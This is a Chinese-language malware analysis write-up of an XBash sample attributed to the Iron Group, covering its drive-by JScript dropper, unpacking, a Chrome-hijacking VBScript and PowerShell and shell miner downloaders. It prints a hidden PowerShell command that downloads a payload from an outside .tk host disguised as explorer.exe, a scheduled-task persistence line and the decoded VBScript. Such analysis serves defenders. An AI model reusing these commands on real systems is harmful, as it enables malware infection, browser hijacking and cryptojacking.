您好,登錄后才能下訂單哦!
?病毒樣本下載來源于i春秋一位cq5f7a075d作者的主題帖《XBash系列病毒樣本分析報告》,是一個Iron Group組織使用的XBash惡意軟件,樣本鏈接:https://bbs.ichunqiu.com/thread-47475-1-1.html ,推薦幾個比較活躍的樣本下載區,如卡飯、i春秋、吾愛、VirusShare等都比較活躍。
?
?故事還是要從掛馬網站開始,也就是網頁下載惡意代碼開始分析,如下所示:
????????????????????圖片一:JScript腳本
變量ebc9拖入010中轉換成字符串如下所示:
????????????????????圖片二:數組還原
還原Js代碼如下所示,圖片中給出了還原的代碼(已標紅):
????????????????????圖片三:代碼復原
?如上述代碼,做了以下幾件事情:
??1、使用了ActiveX控件,注意這個只有IE才支持,因為是微軟的。
??2、獲取了temp的臨時路徑,拼接了IE瀏覽器進程名(偽裝)。
??3、判斷是否臨時文件是否存在,如果不存在則執powershell指令,指令如下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');意思就是遠程下載腳本繞過執行策略并隱藏執行窗口,powershell指令執行一般不會殺毒軟件被攔截,這樣就達成了目的,下載惡意代碼并且偽裝成explorer.exe。
??4、執行下載的惡意代碼。
?
?關于掛馬網站分析完畢,下面就是分析下載下來的惡意代碼,如下所示:
????????????????????圖片四:脫殼
如上所示,樣本加了一個UPX殼,脫掉修復IAT后樣本就被還原了,拉入IDA后如下所示:
????????????????????圖片五:主函數
sub_405920分析如下,先獲取了window shell特殊文件夾的標識值,如下所示:
????????????????????圖片六:SHGetSpecialFoladerPathA
繼續分析,然后初始化了一段字符串,且求出了字符串大小,流程圖如下:
????????????????????圖片七:字符串
?其實一開始靜態觀察猜錯了初始化的字符串順序....,然后動態調試為了驗證數據的精準,下面繼續調用了函數流程如下,根據字符串初始化進行了獲取名稱,鎖機制設置,如下所示:
????????????????????圖片八:執行流程
根據字符串運算獲取了名稱,拼接路徑如下:
????????????????????圖片九:C:\Program Files\TempBMBD19XS
這里還不算真正開是,只是做了個預熱,下面樣本開始認真了,如下所示:
????????????????????圖片十:靜態分析
?如上圖所示,獲取了運行路徑,拼接了chrome.crx,當有路徑出現的時候就會有操作,如下所示:
????????????????????圖片十一:chrome.crx
?繼續分析函數sub_408360,選擇了動態調試字符串,因為字符串加密了,所以動態調試分析起來相對輕松一些,內部代碼如下所示:
????????????????????圖片十二:sub_408360
?分析函數sub_40D0B0的時候,匯編分析時候根據循環規律猜出部分代碼(可惜猜錯了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函數時候,就明白這是要創建進程快照,也明白了整個函數的意義,如下所示:
????????????????????圖片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍歷進程,殺掉chrome進程,如下所示:
????????????????????圖片十四:Kill chrome.exe
?如上圖所示,經過這一層關系,根據當前分析的情況,chrome.exe(chrome.crx)樣本肯定準備這樣偽裝,繼續線性分析,如圖十二所示:
?1、打開注冊表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe,請求Path。
?2、如果成功拼接路徑C:\Programiles\Google\Chrome\Application\chrome.exe
接下來,在路徑下創建文件寫入數據了,如下所示:
????????????????????圖片十五:_mkdir and write
解壓了數據,收尾工作,利用schtasks計劃啟動釋放的程序,如下所示:
????????????????????圖片十六:WinExec
?sub_408360光榮的完成他的使命,查殺chrome.exe進程,且創建釋放惡意代碼,調用WinExec執行釋放的文件。
?
?做了這些事情之后還沒有結束,到了分水嶺,有意思的是判斷了運行樣本的命令行參數 ,分析如下:
????????????????????圖片十七:分水嶺
不相等則跳轉,如果相等最終會則執行流程如下圖所示:
????????????????????圖片十八:成功
該文章重點分析不跳轉情況(真機環境下沒有跳轉),如下所示:
????????????????????圖片十九:創建且寫入惡意代碼
?如果上面解壓chrome.crx那段匯編熟悉的話,你會發現套路是相同:
??1、獲取文件名稱,拼接文件路徑。
??2、創建及寫入惡意代碼過程。
??3、那么就該執行惡意代碼了唄。
我們對比一下寫入的數據是或否相同,從而驗證是否函數功能的正確性,如下所示:
????????????????????圖片二十:寫入惡意數據
請求rundll32.exe執行DllUnInstall,然后創建惡意代碼流程如下所示:
????????????????????圖片二十一:執行惡意dll
?然后調用了ExitProcess結束了自己的一生,這個被掛馬網站下載下來的病毒干了兩件事:
??1、運行了sec.vbe
??2、運行了xxx.dat(名字是隨機dll文件)
?
?所以目標也很明確,被運行的兩個程序,依次分析,運行時的順序有時候也是刻意安排的,接下來分析sec.vbe:
看后綴都明白,這是一個VB語言寫的病毒,先打開看一看,長什么樣,如下圖所示:
????????????????????圖片二十二:加密sec.vb
?根據風格應該是微軟的ScriptEncode編碼算法來加密的,所以先嘗試一下,不對在換就行了,解密后代碼如下:
vb中注釋是單引號 '
On Error ReSume Next: ' 這一句vb代碼是異常處理,錯誤時會繼續運行,不中斷
strComputer = ".":
Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"):
' set是用于給對象變量賦值 返回ActiveX對象
Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指關閉指定用戶進程
SeT objShell = CreateObjeCt("WScript.Shell"): ' 創建WScript。sehll對象
starT = False:
' 遍歷且與關鍵字對比
FOr Each ObjITem in colItEms:
iF INstr(objitem.CommandLiNe,"silent-launch") > 1 ' vb中變量不區分大小寫 字符串區分
thEn start = true:
end if:
NEXt:
' 關閉進程
function Killproc(strProcname):
On ErroR REsume Next:
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):
Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"):
for Each Proccess In aRrpRocessEs:
proccess.Terminate 0: ' terminate是指事件的終止
Next:
ENd FuncTiOn:
If nOT start
then KillprOc("chrome.exe"): ' 殺死進程
Dim Instpath: ' 根據變量類型為變量分配內存空間
INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"): ' 讀取注冊表
appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"): ' 獲取路徑 C:\Users\xxx\AppData\Local
chrome_locatIon = AppDataLoCaTion+"\chrome": ' 拼接路徑 C:\Users\xxx\AppData\Local\chrome
objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"):
' --load-extension 每次重啟chrome的快捷方式會被替換C:\Users\xxx\AppData\Local\chrome
' --silent-launch 表示不開啟chrome,靜默安裝
' --enable-automation 開啟自動化
End if
如何解密呢,在線解密https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面vb腳本分析,對于關鍵的數據出寫出詳細的注釋,這里不一一羅嗦,sec.vbe關閉chrome,然后替換了了Chrome的快捷方式。
?至于.dat是一個dll文件,PEID查看后發現加油vmp虛擬殼,對于這個殼,帶殼調試的話,過虛擬、過反調試可以動態調試.....這里有興趣的朋友自行分析,能力有限不能很好的分析該病毒的出步驟,所以這一個比較關鍵的環節略過......
通過dll執行(也就是上述省略分析的.dll文件),做了那些事情呢?
??1、在windows下釋放了一段可執行的惡意代碼,包含了powershell指令(用于下載挖礦)
??2、Linux下釋放了.sh的腳本(用于進程查殺及下載挖礦)
其實就是釋放了兩個下載器,我們分析一下釋放的下載器。
?
Windows下Powershell如下所示:
前置知識:
? 1、-EncodedCommand 接受 base-64 編碼字符串版本的命令。使用此參數向 Windows PowerShell 提交需要復雜引號或大括號的命令。 代碼中-E
? 2、-WindowStyle將窗口樣式設置為 Normal、Minimized、Maximized 或 Hidden。 代碼中-W
? 3、-noprofile 簡寫 -NoP, 為不加載 windows poweshell 配置文件
? 4、-NonInteractive不向用戶顯示交互式提示。、
?
?打開.ps1腳本,發現被加密,如下所示:
????????????????????圖片二十三:加密的Powershell指令
?根據-E的參數,我們可以先推測使用了Base64進行了整體加密,下面在線Base64解密之后,如下圖片所示:
????????????????????圖片二十四:Base64解密
?第一次Base64解密后,雖然還有大量的字符不識別,但是露出了關鍵一些數據,如iex,這就為后續的解密提供了思路,腳本中有IEX關鍵字了,我們去掉且重定向到新得文件中,嘗試解密,解密后數據如下圖所示:如下所示:
????????????????????圖片二十五:Base64解密
分析Function DllMiner函數,如下所示:
????????????????????圖片二十六:Function DllMiner?????
?函數內容將數據下載并截獲正確得惡意代碼寫入到文件,命名為tmp.jpg,執行下載得文件,然后把DllMiner函數寫入到額tmp.ps1,如下所示:
????????????????????圖片二十七:tmp.ps1
調用了SchTasks.exe執行計劃任務,如下所示:
SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 /
參數介紹:
1、/Create 創建新計劃任務。
2、/TN taskname 指定唯一識別這個計劃任務的名稱
3、/ST starttime 指定運行任務的開始時間 /SC MINUTE (一分鐘)
4、/TR taskrun 指定在這個計劃時間運行的程序的路徑
5、/MO modifier 改進計劃類型以允許更好地控制計劃重復
總結:一分鐘運行一次tmp.ps1,也就是Function DllMiner函數
下載得其實是挖礦程序,對于挖礦程序得分析不到位,有興趣得可以分析一下。
?
補充:
?1、電腦不能運行powershell腳本?報錯讓參考策略修改,修改配置如下圖所示:
????????????????????圖片二十八:powershell策略配置
?2、Powershell關于IEX混淆解密相關介紹:https://www.codercto.com/a/24286.html
??
Linux下.sh如下所示:
看看Linux下.sh腳本是如何運行的,如下所示:
????????????????????圖片二十九
一個死循環,兩個函數,就是整個腳本的內容,kills函數如下所示:
????????????????????圖片三十
各種kill與pkill,終止其他程序的挖礦進程。然后開始執行downloadyam函數,如下所示:
????????????????????圖片二十一
上述標紅是注釋,這便是腳本執行的過程,xx.sh總共下載了五個文件:
??config.json,bashf,pools.txt,bashg,XbashY
?到此兩個下載器分析完畢,至于挖礦程序的分析,還是不獻丑了........以后有時間學習研究后,再來補上未分析的部分。
?
未完待續!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。